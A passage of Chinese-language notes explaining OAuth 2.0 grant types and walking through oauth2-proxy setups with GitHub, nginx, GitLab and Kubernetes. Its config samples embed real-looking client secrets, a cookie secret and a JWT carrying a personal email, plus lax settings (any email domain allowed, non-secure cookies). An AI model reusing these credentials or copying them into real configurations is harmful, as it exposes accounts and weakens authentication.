授权服务端处理用户认证,并显示授权许可窗口,然后从用户方获得授权许可。如果你通过谷歌登陆,你必须向谷歌,而不是客户端,提供登陆证书——例如向 accounts.google.com 提供登陆证书。 +- 如果用户授权许可,则授权服务端将用户`重定向`到客户端,同时发送授权密钥(授权码或令牌)。 +- 客户端向资源服务端发送包含授权密钥的请求,要求资源服务端返回用户数据。 +- 资源服务端验证授权密钥,并向客户端返回它所请求的数据。 + + +但与此同时,有一些问题出现了: +- 我们如何限制客户端只访问资源服务端上的部分数据? +- 如果我们只希望客户端读取数据,而没有权限写入数据呢? + +这些问题将我们引导至 OAuth 技术术语中另一部分很重要的概念:**授权范围(Scope)**。 + + + + +--- + + +#### Scope 授权范围 + +在 OAuth 2.0 中,授权范围用于限制应用程序访问某用户的数据。这是通过发布仅限于用户授权范围的权限来实现的。 + +- 当客户端向授权服务端发起权限请求时,它同时随之发送一个**授权范围列表**。 +- 授权客户端根据这个列表生成一个授权许可窗口,并通过用户授权许可。 +- 如果用户同意了其授权告知,授权客户端将发布一个令牌或者授权码,该令牌或授权码仅限于用户授权的范围。 + +举个例子,如果我授权了某客户端应用访问我的谷歌通讯录,则授权服务端向该客户端发布的令牌不能用于删除我的联系人,或者查看我的谷歌日历事件——因为它仅限于读取谷歌通讯录的范围。 + + +--- + + +#### OAuth 2.0 配置 + +当发起授权权限的请求时,客户端将一些配置数据作为查询参数发送给授权服务端。 + +这些基本的查询参数包括: +- 响应类型(response_type):希望从授权服务端获得的响应类型 +- 授权范围(scope):客户端希望访问的授权范围列表。授权服务端将使用这个列表为用户产生同意授权许可窗口。 +- 用户 ID(client_id):由授权服务在为 OAuth 设置客户端时提供。此 ID 可帮助授权服务端确定正在发送 OAuth 流程的客户端。 +- 重定向通用资源标识符(redirect_uri):用于告知授权服务器当 OAuth 流程完成后重定向的地址 +- 客户密码(client_secret):由授权服务提供,根据 OAuth 流程,这个参数可能需要也可能不需要。 + + + +--- + + +#### authorization grant + +**OAuth 的核心就是向第三方应用颁发令牌** + +- 由于互联网有多种场景, 本标准定义了获得令牌的四种授权方式(authorization grant)。 + +- OAuth 2.0 规定了四种获得令牌的流程 向第三方应用颁发令牌。 + - 授权码(authorization-code) + - 隐藏式(implicit) + - 密码式(password): + - 客户端凭证(client credentials) + +注意,不管哪一种授权方式,第三方应用申请令牌之前,都必须先到系统备案,说明自己的身份,然后会拿到两个身份识别码:客户端 ID(client ID)和客户端密钥(client secret)。这是为了防止令牌被滥用,没有备案过的第三方应用,是不会拿到令牌的。 + +两种最常用的 OAuth2.0 流程是: +- 基于服务器的应用程序所使用的授权码流程, +- 以及 纯 JavaScript 单页应用所使用的隐式流程。 + + + + +```bash +# A 网站提供一个链接,要求用户跳转到 B 网站,授权用户数据给 A 网站使用。 +https://b.com/oauth/authorize? + response_type=code& # 授权码 + response_type=token& # 隐藏式 + client_id=CLIENT_ID& + redirect_uri=CALLBACK_URL& + scope=read + +https://oauth.b.com/token? + grant_type=password& # 密码式 + username=USERNAME& + password=PASSWORD& + client_id=CLIENT_ID + +https://oauth.b.com/token? + grant_type=client_credentials& # 凭证式 + client_id=CLIENT_ID& + client_secret=CLIENT_SECRET + +# 用户跳转到 B 网站,登录, 同意给予 A 网站授权。 +# B 网站就会跳回`redirect_uri`参数指定的跳转网址,并且把令牌作为 URL 参数,传给 A 网站。 +https://a.com/callback?code=AUTHORIZATION_CODE # 授权码 +https://a.com/callback#token=ACCESS_TOKEN # 隐藏式 +``` + + +```yaml +# Request +POST /token HTTP/1.1 +Host: oauth2.googleapis.com +Content-length: 261 +content-type: application/x-www-form-urlencoded +user-agent: google-oauth-playground +code=4%2F0AdQt8qgHXK5ctUWLQk19w4AzrpQzmqoLyzIkajEzTv94IFLcAQVwPVQbBezzVCWDXirlNw +&redirect_uri=https%3A%2F%2Fdevelopers.google.com%2Foauthplayground +&client_id=407408718192.apps.googleusercontent.com +&client_secret=************ +&scope= +&grant_type=authorization_code + +# Response +HTTP/1.1 200 OK +Content-length: 1273 +X-xss-protection: 0 +X-content-type-options: nosniff +Transfer-encoding: chunked +Expires: Mon, 01 Jan 1990 00:00:00 GMT +Vary: Origin, X-Origin, Referer +Server: scaffolding on HTTPServer2 +-content-encoding: gzip +Pragma: no-cache +Cache-control: no-cache, no-store, max-age=0, must-revalidate +Date: Sun, 10 Jul 2022 20:38:52 GMT +X-frame-options: SAMEORIGIN +Alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" +Content-type: application/json; charset=utf-8 +{ + "access_token": "abcd", + "id_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjFiZDY4NWY1ZThmYzYyZDc1ODcwNWMxZWIwZThhNzUyNGM0NzU5NzUiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJhenAiOiI0MDc0MDg3MTgxOTIuYXBwcy5nb29nbGV1c2VyY29udGVudC5jb20iLCJhdWQiOiI0MDc0MDg3MTgxOTIuYXBwcy5nb29nbGV1c2VyY29udGVudC5jb20iLCJzdWIiOiIxMDcwNDMxOTE2NjcyNTM2ODc0NjAiLCJlbWFpbCI6ImxncmFjZXllQGhvdG1haWwuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsImF0X2hhc2giOiIyS1lkaHhKUHVQZlNQZFp4Rk9aV2FBIiwiaWF0IjoxNjU3NDg1NTMyLCJleHAiOjE2NTc0ODkxMzJ9.m675UQKWgX_0eBUNC94sU7FDJHqauWyVQW0XnvYkCz4_AKkuUKxyS7d4VMB4KCSWhUhylBx1ilq5XsdqFlugksEHP6hgRgTf-5M1PIKbo0HEFJWhoFGIZDu907hcQl8eE5mCBk9nr3SuuJpbDLFVy9jaY96qTRrCvVXINOC6mXPjU7mohB0Rg3DgHkCbLvCHbfmPIR72_DuGVmtdQWUrpnQICRGJcdX3PY-wgGoOa9U6qqEJFK9bGcSG-0sE9rnF_iR_piX9jVYFnplxslkuKeGBu4xsQpFenVEFlOEhDw6QAFdvmm6idlpjnXE9j7QwpRxuQ3uX-kM2YOWJCasjdQ", + "expires_in": 3599, + "token_type": "Bearer", + "scope": "https://www.googleapis.com/auth/userinfo.email openid", + "refresh_token": "abcd" +} +``` + +--- + +##### 授权码 `AUTHORIZATION_CODE` -> response_type=code + +第三方应用先申请一个授权码,然后再用该码获取令牌 + +![Screen Shot 2022-07-10 at 02.19.09](https://i.imgur.com/6GVVn55.png) + +> 最常用的流程,安全性也最高,是理想的 OAuth 流程。 +> 它被认为是非常安全的,因为它同时使用前端途径(浏览器)和后端途径(服务器)来实现 OAuth2.0 机制。 +> 它适用于那些有后端的 Web 应用。 + + +![Screen Shot 2022-07-10 at 02.25.27](https://i.imgur.com/Zb6Ow8D.png) + +- **授权码**通过前端传送 +- **令牌**则是储存在后端,而且所有与资源服务器的通信都在后端完成。 + +- 将response_type设置成授权码, 因为这样做能使 OAuth 流程非常安全。 +- 这样的前后端分离,可以避免令牌泄漏。 + + - 访问令牌是唯一能用于访问资源服务端上的数据的东西,而不是授权码。 + - 访问令牌是我们不希望任何人能访问的秘密信息。 + - 如果客户端直接请求访问令牌,并将其存储在浏览器里,它可能会被盗,因为浏览器并不是完全安全的。 + - 任何人都能看见网页的代码,或者使用开发工具来获取访问令牌。 + + - 未了避免将访问令牌暴露在浏览器中 + - 客户端的前端从授权服务端获得授权码,然后发送这个授权码到客户端的后端。 + - 现在,为了用授权码交换访问令牌,我们需要一个叫做客户密码(client_secret)的东西。 + - 这个客户密码只有客户端的后端知道,然后后端向授权服务端发送一个 POST 请求,其中包含了授权码和客户密码 + - 这个请求可能如下所示: + - 授权服务端会验证客户密码和授权码,然后返回一个访问令牌。 + - 后端程序存储了这个访问令牌并且可能使用此令牌来访问资源服务端。 + - 这样一来,浏览器就无法读取访问令牌了。 + + ```yaml + POST /token HTTP/1.1 + Host: oauth2.googleapis.com + Content-Type: application/x-www-form-urlencoded + code=4/W7q7P51a-iMsCeLvIaQc6bYrgtp9 + &client_id=your_client_id + &client_secret=your_client_secret_only_known_by_server + &redirect_uri=https%3A//oauth2.example.com/code + ``` + +![pi](https://www.wangbase.com/blogimg/asset/201904/bg2019040905.jpg) + + +```bash +# 客户端通过将用户重定向到授权服务端来发起一个授权流程, +# A 网站提供一个链接,用户点击后就会跳转到 B 网站,授权用户数据给 A 网站使用。 +https://b.com/oauth/authorize? + response_type=code& # 告知了授权服务端用授权码来响应 + client_id=CLIENT_ID& + redirect_uri=CALLBACK_URL& + # scope=read + scope=profile%20contacts& # 客户端请求能够访问该用户公共主页和联系人的用户许可 + +# 用户跳转后,B 网站会要求用户登录, +# 登录后询问是否同意给予 A 网站授权。 +# 表示同意,这时 B 网站就会跳回指定的网址 https://a.com/callback +# 跳转时,会传回一个授权码 ?code=AUTHORIZATION_CODE +# 这个请求的结果是授权码,客户端可以使用该授权码来交换访问令牌。 +https://a.com/callback?code=AUTHORIZATION_CODE + + +# A 网站拿到授权码以后,在后端,向 B 网站请求令牌。 +https://b.com/oauth/token? + client_id=CLIENT_ID& + client_secret=CLIENT_SECRET& + grant_type=authorization_code& + code=AUTHORIZATION_CODE& + redirect_uri=CALLBACK_URL + + +# B 网站收到请求以后,就会颁发令牌。 +# 向`redirect_uri`指定的网址,发送一段 JSON 数据。 +{ + "access_token":"ACCESS_TOKEN", + "token_type":"bearer", + "expires_in":2592000, + "refresh_token":"REFRESH_TOKEN", + "scope":"read", + "uid":100101, + "info":{...} +} +# `access_token`字段就是令牌,A 网站在后端拿到了。 +``` + + + +1. A 网站提供一个链接,用户点击后就会跳转到 B 网站,授权用户数据给 A 网站使用。 + - 下面就是 A 网站跳转 B 网站的一个示意链接。 + - `https://b.com/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=CALLBACK_URL&scope=read` + - 上面 URL 中: + - `response_type`参数表示要求返回授权码(`code`), + - `client_id`参数让 B 知道是谁在请求, + - `redirect_uri`参数是 B 接受或拒绝请求后的跳转网址, + - `scope`参数表示要求的授权范围(这里是只读)。 + +2. 用户跳转后,B 网站会要求用户登录,然后询问是否同意给予 A 网站授权。 + - 用户表示同意,这时 B 网站就会跳回`redirect_uri`参数指定的网址。 + - 跳转时,会传回一个授权码,就像下面这样。 + - `https://a.com/callback?code=AUTHORIZATION_CODE` + - 上面 URL 中,`code`参数就是授权码。 + + +3. A 网站拿到授权码以后,就可以在后端,向 B 网站请求令牌。 + - `https://b.com/oauth/token?client_id=CLIENT_ID&client_secret=CLIENT_SECRET&grant_type=authorization_code&code=AUTHORIZATION_CODE&redirect_uri=CALLBACK_URL` + - 上面 URL 中 + - `client_id`参数和`client_secret`参数用来让 B 确认 A 的身份(`client_secret`参数是保密的,因此只能在后端发请求) + - `grant_type`参数的值是`AUTHORIZATION_CODE`,表示采用的授权方式是授权码 + - `code`参数是上一步拿到的授权码 + - `redirect_uri`参数是令牌颁发后的回调网址。 + + +4. B 网站收到请求以后,就会颁发令牌。 + - 具体做法是向`redirect_uri`指定的网址,发送一段 JSON 数据。 + + ```json + { + "access_token":"ACCESS_TOKEN", + "token_type":"bearer", + "expires_in":2592000, + "refresh_token":"REFRESH_TOKEN", + "scope":"read", + "uid":100101, + "info":{...} + } + ``` + + - 上面 JSON 数据中,`access_token`字段就是令牌,A 网站在后端拿到了。 + + +--- + + + +##### 隐藏式 `implicit` -> response_type=token + +> 有些 Web 应用是纯前端应用,没有后端。 +> 这时就不能用上面的方式了,必须将令牌储存在前端。 +> **RFC 6749 就规定了第二种方式,允许直接向前端颁发令牌** +> 这种方式没有授权码这个中间步骤,所以称为(授权码)"隐藏式"(implicit) + +![Screen Shot 2022-07-10 at 02.31.30](https://i.imgur.com/1F8avbz.png) + +- 客户端将浏览器重定向到授权服务端 URI,并将response_type设置成token,以启动授权流程。 +- 授权服务端处理用户的登录和授权许可。 +- 请求的返回结果是访问令牌,客户端可以通过这个令牌访问资源服务端。 + +隐式流程被认为不那么安全,因为浏览器负责管理访问令牌,因此令牌有可能被盗。尽管如此,它仍然被单页应用广泛使用。 + + +```bash +# A 网站提供一个链接,要求用户跳转到 B 网站,授权用户数据给 A 网站使用。 +https://b.com/oauth/authorize? + response_type=token& # `response_type`参数为`token`,表示要求直接返回令牌。 + client_id=CLIENT_ID& + redirect_uri=CALLBACK_URL& + scope=read + +# 用户跳转到 B 网站,登录, 同意给予 A 网站授权。 +# B 网站就会跳回`redirect_uri`参数指定的跳转网址,并且把令牌作为 URL 参数,传给 A 网站。 +https://a.com/callback#token=ACCESS_TOKEN # `token`参数就是令牌 + +# A 网站因此直接在前端拿到令牌。 +``` + + +- 注意,令牌的位置是 URL 锚点(fragment),而不是查询字符串(querystring),这是因为 OAuth 2.0 允许跳转网址是 HTTP 协议,因此存在"中间人攻击"的风险,而浏览器跳转时,锚点不会发到服务器,就减少了泄漏令牌的风险。 + +![pi](https://www.wangbase.com/blogimg/asset/201904/bg2019040906.jpg) + +- 这种方式把令牌直接传给前端,是很不安全的。因此,只能用于一些安全要求不高的场景 +- 并且令牌的有效期必须非常短,通常就是会话期间(session)有效,浏览器关掉,令牌就失效了。 + +--- + +##### 密码式 `password` -> grant_type=password + + +**如果你高度信任某个应用,RFC 6749 也允许用户把用户名和密码,直接告诉该应用。该应用就使用你的密码,申请令牌,这种方式称为"密码式"(password)。** + + +```bash +# A 网站要求用户提供 B 网站的用户名和密码。 +# 拿到以后,A 就直接向 B 请求令牌。 +https://oauth.b.com/token? + grant_type=password& # 授权方式 密码式 + username=USERNAME& # 用户名和密码 + password=PASSWORD& + client_id=CLIENT_ID + +# B 网站验证身份通过后,直接给出令牌。 +# 注意,这时不需要跳转,而是把令牌放在 JSON 数据里面,作为 HTTP 回应 + +# A 因此拿到令牌 +``` + +- 这种方式需要用户给出自己的用户名/密码,显然风险很大 +- 因此只适用于其他授权方式都无法采用的情况,而且必须是用户高度信任的应用。 + +--- + +##### 第四种方式:凭证式 `client credentials` -> token + +**最后一种方式是凭证式(client credentials),适用于没有前端的命令行应用,即在命令行下请求令牌。** + +```bash +# A 应用在命令行向 B 发出请求。 +https://oauth.b.com/token? + grant_type=client_credentials& + client_id=CLIENT_ID& # 用来让 B 确认 A 的身份。 + client_secret=CLIENT_SECRET + +# B 网站验证通过以后,直接返回令牌。 +``` + +- 这种方式给出的令牌,是针对第三方应用的,而不是针对用户的,即有可能多个用户共享同一个令牌。 + +--- + +##### 令牌的使用 + +**令牌的使用** +- A 网站拿到令牌以后,就可以向 B 网站的 API 请求数据了。 +- 每个发到 API 的请求,都必须带有令牌。 +- 具体做法是在请求的头信息,加上一个`Authorization`字段,令牌就放在这个字段里面。 + +``` +curl -H "Authorization: Bearer ACCESS_TOKEN" "https://api.b.com" +``` + +上面命令中,`ACCESS_TOKEN`就是拿到的令牌。 + +--- + +##### **更新令牌** `refresh_token` -> token +- 令牌的有效期到了,如果让用户重新走一遍上面的流程,再申请一个新的令牌,很可能体验不好,而且也没有必要。 +- OAuth 2.0 允许用户自动更新令牌。 + +```bash +# B 网站颁发令牌的时候,一次性颁发两个令牌 +# 一个用于获取数据,另一个用于获取新的令牌(refresh token 字段)。 +# 令牌到期前,用户使用 refresh token 发一个请求,去更新令牌。 + +https://b.com/oauth/token? + grant_type=refresh_token& + client_id=CLIENT_ID& + client_secret=CLIENT_SECRET& + refresh_token=REFRESH_TOKEN + +# B 网站验证通过以后,就会颁发新的令牌。 +``` + + +--- + +#### example + +--- + +##### OAuth2 Proxy + +- 一个使用go编写的反向代理和静态文件服务器 +- 使用提供程序(Google,GitHub和其他提供商)提供身份验证,以通过电子邮件,域或组验证帐户。 + +![Screen Shot 2022-03-23 at 11.13.30](https://i.imgur.com/G7dpktE.png) + +--- + +##### oauth2 proxy with Github + +1. 先去github -> developer 创建oauth应用, 输入自己的回调地址。 当用户被github认证后,会调用这个地址 +2. 在服务端配置,利用一个开源 oauth2_proxy 工具, 项目地址:`https://github.com/oauth2-proxy/oauth2-proxy` +3. 配置 nginx + + + +**oauth2-proxy.cfg** + +```yaml +auth_logging = true +# auth_logging_format = "{{.Client}} - {{.Username}} [{{.Timestamp}}] [{{.Status}}] {{.Message}}" +# pass HTTP Basic Auth, X-Forwarded-User and X-Forwarded-Email information to upstream +pass_basic_auth = true +# pass_user_headers = true +# pass the request Host Header to upstream +# when disabled the upstream Host is used as the Host Header +pass_host_header = true + + +# 可以通过验证的邮箱域名 +# Email Domains to allow authentication for (this authorizes any email on this domain) +# for more granular authorization use `authenticated_emails_file` +# To authorize any email addresses use "*" +# email_domains = [ +# "yourcompany.com" +# ] +email_domains=["*"] + +# callback的域名 +allowlist_domains = [".example.com"] +cookie_domains = ["example.com"] +skip_auth_preflight = false + + +# Cookie Settings +# Name - the cookie name +# Secret - the seed string for secure cookies; should be 16, 24, or 32 bytes +# for use with an AES cipher when cookie_refresh or pass_access_token +# is set +# Domain - (optional) cookie domain to force cookies to (ie: .yourcompany.com) +# Expire - (duration) expire timeframe for cookie +# Refresh - (duration) refresh the cookie when duration has elapsed after cookie was initially set. +# Should be less than cookie_expire; set to 0 to disable. +# On refresh, OAuth token is re-validated. +# (ie: 1h means tokens are refreshed on request 1hr+ after it was set) +# Secure - secure cookies are only sent by the browser of a HTTPS connection (recommended) +# HttpOnly - httponly cookies are not readable by javascript (recommended) +# cookie_name = "_oauth2_proxy" +# cookie加密密钥 +cookie_secret = "beautyfly" +cookie_domains = "beautyflying.cn" +cookie_expire = "168h" +# cookie_refresh = "" +cookie_secure = false +# cookie_httponly = true + + + +http_address="0.0.0.0:4180" +# 与GitHub callback URL一致 +# The OAuth Client ID, Secret +redirect_url="https://example.com/oauth2/callback" +provider="github" +# 刚刚创建的GitHub OAuth Apps里有 +client_id = "cef54714c84e3b0c2248" +client_secret = "a96d3d94771273b5295202d03c0c2d3ca7f625dc" +# Pass OAuth Access token to upstream via "X-Forwarded-Access-Token" +pass_access_token = false +# Authenticated Email Addresses File (one email per line) +# authenticated_emails_file = "" +# Htpasswd File (optional) +# Additionally authenticate against a htpasswd file. Entries must be created with "htpasswd -s" for SHA encryption +# enabling exposes a username/login signin form +# htpasswd_file = "" +# Templates +# optional directory with custom sign_in.html and error.html +# custom_templates_dir = "" +# skip SSL checking for HTTPS requests +# ssl_insecure_skip_verify = false + + +# 限制登录用户 +github_users=["J2ephyr"] +``` + + +可以将oauth2 配置成服务 + +```bash +[Unit] +Description = OAuth2 proxy for www blog + +[Service] +Type=simple +ExecStart=/usr/bin/oauth2_proxy -config /etc/oauth2-proxy.cfg +[Install] +WantedBy=multi-user.target +``` + + +nginx 配置 + +``` +location /oauth2/ { + proxy_pass https://127.0.0.1:4180; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Scheme $scheme; + proxy_set_header X-Auth-Request-Redirect $request_uri; + # or, if you are handling multiple domains: + # proxy_set_header X-Auth-Request-Redirect $scheme://$host$request_uri; +} + +location = /oauth2/auth { +proxy_pass https://127.0.0.1:4180; +proxy_set_header Host $host; +proxy_set_header X-Real-IP $remote_addr; +proxy_set_header X-Scheme $scheme; +# nginx auth_request includes headers but not body +proxy_set_header Content-Length ""; +proxy_pass_request_body off; +} + +location / { + +auth_request /oauth2/auth; +error_page 401 = /oauth2/sign_in; + +# pass information via X-User and X-Email headers to backend, +# requires running with --set-xauthrequest flag +auth_request_set $user $upstream_http_x_auth_request_user; +auth_request_set $email $upstream_http_x_auth_request_email; +proxy_set_header X-User $user; +proxy_set_header X-Email $email; + +# if you enabled --pass-access-token, this will pass the token to the backend +auth_request_set $token $upstream_http_x_auth_request_access_token; +proxy_set_header X-Access-Token $token; + +# if you enabled --cookie-refresh, this is needed for it to work with auth_request +auth_request_set $auth_cookie $upstream_http_set_cookie; +add_header Set-Cookie $auth_cookie; + +# When using the --set-authorization-header flag, some provider's cookies can exceed the 4kb +# limit and so the OAuth2 Proxy splits these into multiple parts. +# Nginx normally only copies the first `Set-Cookie` header from the auth_request to the response, +# so if your cookies are larger than 4kb, you will need to extract additional cookies manually. +auth_request_set $auth_cookie_name_upstream_1 $upstream_cookie_auth_cookie_name_1; + +# Extract the Cookie attributes from the first Set-Cookie header and append them +# to the second part ($upstream_cookie_* variables only contain the raw cookie content) +if ($auth_cookie ~* "(; .*)") { + set $auth_cookie_name_0 $auth_cookie; + set $auth_cookie_name_1 "auth_cookie_name_1=$auth_cookie_name_upstream_1$1"; +} + +# Send both Set-Cookie headers now if there was a second part +if ($auth_cookie_name_upstream_1) { + add_header Set-Cookie $auth_cookie_name_0; + add_header Set-Cookie $auth_cookie_name_1; +} + + root /usr/share/nginx/html/blog; + index index.html index.htm; +} + +#error_page 404 /404.html; + +# redirect server error pages to the static page /50x.html +# +error_page 500 502 503 504 /50x.html; +location = /50x.html { + root /usr/share/nginx/html; +} +``` + +**upstreams.ymal** + +需要被保护的应用服务代理配置 + +```yaml +upstreams: + - id: example + path: /example + url: https://app.example.com +``` + +- 访问https://example.com/example +- 就会被直接代理到 https://app.example.com/example + + + + + +--- + +##### 基于k8s部署的nginx服务 通过ingress和oauth2 proxy对接gitlab + +- 基于k8s部署的nginx服务 +- 通过ingress和oauth2 proxy对接gitlab +- 实现对应用没有代码侵入的外部认证。 + + + +实验环境: +- k8s 1.15.0 +- Ingress nginx 0.25.0 +- gitlab 13.7.4 + + +##### 在Gitlab配置**OpenID应用** + +- 登录到Gitlab—>管理中心—>应用,创建一个应用 + - 参数: + - **Authorization callback URL** 回调URL: + - 指GitLab在用户通过身份验证后应将其发送到的端点 + - 填入oauth2-proxy的callback地址 + - 对于oauth2-proxy应该是`https://<应用域名>/oauth2/callback` + - 范围: + - 应用程序对GitLab用户配置文件的访问级别。 + - 对于大多数应用程序,选择openid,profile和email即可。 + - 创建完应用后,会生成`一对ID和密钥`,这个在后面会用到。 + +--- + +##### 生成**Cookie密钥** +- 生成**Cookie密钥** + - 该Cookie密钥作为`种子字符串`以产生安全的cookie。 + - 使用base64编码,可利用以下的python脚`本生成字符串。 + +```py +import secrets +import base64 +print(base64.b64encode(base64.b64encode(secrets.token_bytes(16)))) +``` + +--- + + +##### 部署**oauth2-proxy** + +- 部署**oauth2-proxy** + - 在k8s中部署 oauth-proxy,资源清单oauth2-gitlab.yaml 和 相关参数 + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + k8s-app: oauth2-proxy + name: oauth2-proxy + namespace: kube-system +spec: + replicas: 1 + selector: + matchLabels: + k8s-app: oauth2-proxy + template: + metadata: + labels: + k8s-app: oauth2-proxy + spec: + containers: + - name: oauth2-proxy + image: quay.io/oauth2-proxy/oauth2-proxy:latest + imagePullPolicy: IfNotPresent + ports: + - containerPort: 4180 + protocol: TCP + args: + # OAuth提供者 + - --provider=gitlab + # 上游端点的http网址 + - --upstream=file:///dev/null + # 对具有指定域的电子邮件进行身份验证,可以多次给出,使用*验证任何电子邮件 + - --email-domain=* + # 监听的地址 + - --http-address=0.0.0.0:4180 + # 设置安全(仅HTTPS)cookie标志 + - --cookie-secure=false + # OAuth重定向URL + - --redirect-url=https://nginx-test.ssgeek.com/oauth2/callback + # 跳过登录页面直接进入下一步 + - --skip-provider-button=false + # 设置X-Auth-Request-User,X-Auth-Request-Email和X-Auth-Request-Preferred-Username响应头(在Nginx auth_request模式下有用)。与结合使用时--pass-access-token,会将X-Auth-Request-Access-Token添加到响应标头中 + - --set-xauthrequest=true + # 跳过OPTIONS请求的身份验证 + - --skip-auth-preflight=false + # 绕过OIDC端点发现 + - --skip-oidc-discovery + # OpenID Connect发行者url,这里是gitlab的url + - --oidc-issuer-url=https://gitlab.ssgeek.com + # 认证url + - --login-url=https://gitlab.ssgeek.com/oauth/authorize + # token url + - --redeem-url=https://gitlab.ssgeek.com/oauth/token + # 用于令牌验证的url + - --oidc-jwks-url=https://gitlab.ssgeek.com/oauth/discovery/keys + env: + - name: OAUTH2_PROXY_CLIENT_ID + value: '85945b7195ab109377183837b9221bd299bc64b31fe272304a1c777e8e241d83' + - name: OAUTH2_PROXY_CLIENT_SECRET + value: '2f9782928b493686f387d18db9138e92607448cef045c81319967cc3e5ce4ba1' + # 安全cookie的种子字符串,可通过python脚本生成 + - name: OAUTH2_PROXY_COOKIE_SECRET + value: 'VGlYNVBVOGw4UFgyRURzbERxVTRiZz09' + +--- +apiVersion: v1 +kind: Service +metadata: + labels: + k8s-app: oauth2-proxy + name: oauth2-proxy + namespace: kube-system +spec: + type: NodePort + ports: + - name: http + port: 4180 + protocol: TCP + targetPort: 4180 + nodePort: 30020 + selector: + k8s-app: oauth2-procy + +``` + + + +- 应用上面的资源清单,创建deployment和service + +```bash +$ kubectl apply -f oauth2-gitlab.yaml +$ kubectl -n kube-system get pods -l k8s-app=oauth2-proxy +NAME READY STATUS RESTARTS AGE +oauth2-proxy-884695869-bkwns 1/1 Running 0 113 +``` + +- 通过nodeport单独暴露了oauth2-proxy应用,可以访问检查以确保浏览器可以正常打开 + + +![Screen Shot 2022-03-23 at 11.22.30](https://i.imgur.com/h7fkMq7.png) + + +--- + +##### 创建测试应用并配置Ingress + +资源清单文件`nginx.yaml`如下,其中为该nginx应用配置了https证书 + +```yaml +apiVersion: extensions/v1beta1 +kind: Deployment +metadata: + name: nginx + namespace: kube-system +spec: + replicas: 1 + selector: + matchLabels: + app: nginx + template: + metadata: + labels: + app: nginx + spec: + containers: + - image: nginx:1.15 + imagePullPolicy: IfNotPresent + name: nginx + +--- +apiVersion: v1 +kind: Service +metadata: + name: nginx + namespace: kube-system +spec: + selector: + app: nginx + ports: + - name: nginx + port: 80 + targetPort: 80 + +--- +apiVersion: extensions/v1beta1 +kind: Ingress +metadata: + name: nginx + namespace: kube-system + annotations: + kubernetes.io/ingress.class: "nginx" + nginx.ingress.kubernetes.io/rewrite-target: / + # 指定外部认证url + nginx.ingress.kubernetes.io/auth-url: "https://$host/oauth2/auth" + # 指定外部认证重定向的地址 + nginx.ingress.kubernetes.io/auth-signin: "https://$host/oauth2/start?rd=$escaped_request_uri" + nginx.ingress.kubernetes.io/force-ssl-redirect: "true" + nginx.ingress.kubernetes.io/secure-backends: "true" + nginx.ingress.kubernetes.io/ssl-passthrough: "true" + nginx.ingress.kubernetes.io/ssl-redirect: "true" +spec: + tls: + - hosts: + - nginx-test.ssgeek.com + secretName: nginx-test + rules: + - host: nginx-test.ssgeek.com + http: + paths: + - path: / + backend: + serviceName: nginx + servicePort: 80 + +--- +apiVersion: extensions/v1beta1 +kind: Ingress +metadata: + annotations: + kubernetes.io/ingress.class: "nginx" + # 将nginx应用的访问请求跳转到oauth2-proxy组件url + nginx.ingress.kubernetes.io/rewrite-target: "/oauth2" + nginx.ingress.kubernetes.io/force-ssl-redirect: "true" + nginx.ingress.kubernetes.io/secure-backends: "true" + nginx.ingress.kubernetes.io/ssl-passthrough: "true" + nginx.ingress.kubernetes.io/ssl-redirect: "true" + name: nginx-oauth2 + namespace: kube-system +spec: + tls: + - hosts: + - nginx-test.ssgeek.com + secretName: nginx-test + rules: + - host: nginx-test.ssgeek.com + http: + paths: + - path: /oauth2 + backend: + serviceName: oauth2-proxy + servicePort: 4180 +``` + + +- 应用上面的资源清单,创建相应资源 + +```bash +$ kubectl apply -f other/nginx.yaml +deployment.extensions/nginx unchanged +service/nginx unchanged +ingress.extensions/nginx unchanged +ingress.extensions/nginx-oauth2 unchanged + + +$ kubectl -n kube-system get po,svc,ing |grep nginx +pod/nginx-5ddcc6cb74-rnjlx 1/1 Running 0 3m + 80/TCP 3m +ingress.extensions/nginx nginx-test.ssgeek.com 80, 443 3m +ingress.extensions/nginx-oauth2 nginx-test.ssgeek.com 80, 443 3m +``` + + + +##### 测试外部认证 + +通过访问上面部署的nginx应用,在浏览器中进行测试,会被重定向到Gitlab登录页面; + +输入账号,正确登录后,会被重定向回nginx应用。 + +![05zwoff77t](https://i.imgur.com/Xb90yDQ.gif) + +--- + +##### 流程分析 + +在请求登录外部认证的过程中查看oauth2-proxy的日志如下 + +```bash + +# 访问nginx应用的时候,Ingress nginx controller会向定义的 auth-url 发起认证 +# 该认证由Ingress nginx controller发起,所以Ingress nginx controller对应的pod必须能够访问 auth-url。 + +# 如果认证没有通过,Ingress nginx controller将客户端重定向到 auth-signin。 +# auth-signin 是目标应用的 oauth2登录页面 即 oauth2-proxy。 + +# 客户端被重定向到oauth2登录页面后,自动进入Gitlab的登录页面, +# 用户登录Gitlab后,Gitlab再将客户端重定向到在Gitlab中配置的 应用 回调地址。 + +# 客户端访问 回调地址 后,oauth2_proxy在客户端设置cookie,并将客户端重定向到最初的访问地址。 + + +172.16.1.110:49976 - - [2021/01/23 17:28:23] nginx-test.ssgeek.com GET - "/oauth2/auth" HTTP/1.1 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15" 401 21 0.000 + +172.16.1.110:9991 - - [2021/01/23 17:28:23] nginx-test.ssgeek.com GET - "/oauth2/start?rd=%2F" HTTP/1.1 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15" 302 341 0.000 + +172.16.1.110:9991 - admin@example.com [2021/01/23 17:28:32] [AuthSuccess] Authenticated via OAuth2: Session{email:admin@example.com user:root PreferredUsername: token:true id_token:true created:2021-01-23 17:28:32.440915913 +0000 UTC m=+2248.944621207 expires:2021-01-23 17:30:32 +0000 UTC refresh_token:true} + +# 带有cookie的客户端再次访问目标应用时,通过了auth-url的认证,成功访问到目标服务即nginx应用。 